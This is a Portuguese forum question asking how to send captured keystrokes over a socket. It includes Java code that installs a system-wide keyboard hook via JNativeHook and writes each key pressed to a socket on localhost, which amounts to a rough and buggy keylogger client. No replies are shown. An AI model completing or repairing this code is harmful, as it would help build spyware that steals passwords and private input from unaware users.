Como faço para passar o conteudo de um Keylistener por um socket
18/03/2016
0
se alguém pudesse me ajudar eu gostaria de saber como posso passar o conteúdo de um KeyListener por um socket pois nao sei programar muito bem sou apenas curioso em programação java
essa sao as duas Classes:
essa sao as duas Classes:
import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.Socket; import java.net.UnknownHostException; import java.util.Scanner; import org.jnativehook.GlobalScreen; import org.jnativehook.keyboard.NativeKeyEvent; import org.jnativehook.keyboard.NativeKeyListener; public class Cliente implements NativeKeyListener { NativeKeyListener e; Socket cliente; String dados ; public void conectaServidor(){ try { cliente = new Socket("127.0.0.1", 9999); } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public void Escrever(){ try { PrintWriter escritor = new PrintWriter(cliente.getOutputStream(), true); String mensagem = " "; mensagem = dados; while(true){ mensagem = dados; escritor.println(mensagem); escritor.println(dados); escritor.flush(); } } catch (IOException ex) { ex.printStackTrace(); } } public void Jnative(){ try{ GlobalScreen.registerNativeHook(); }catch(Exception e){ e.printStackTrace(); } GlobalScreen.getInstance().addNativeKeyListener(new Cliente()); } @Override public void nativeKeyPressed(NativeKeyEvent re) { dados = re.getKeyText(re.getKeyCode()); this.Escrever(); } @Override public void nativeKeyReleased(NativeKeyEvent arg0) { // TODO Auto-generated method stub } @Override public void nativeKeyTyped(NativeKeyEvent arg0) { // TODO Auto-generated method stub } }
public class ClienteExecutavel { public static void main(String[] args) { Cliente c = new Cliente(); c.conectaServidor(); c.Jnative(); } }
Roberto Souza
Curtir tópico
+ 0
Responder
Clique aqui para fazer login e interagir na Comunidade :)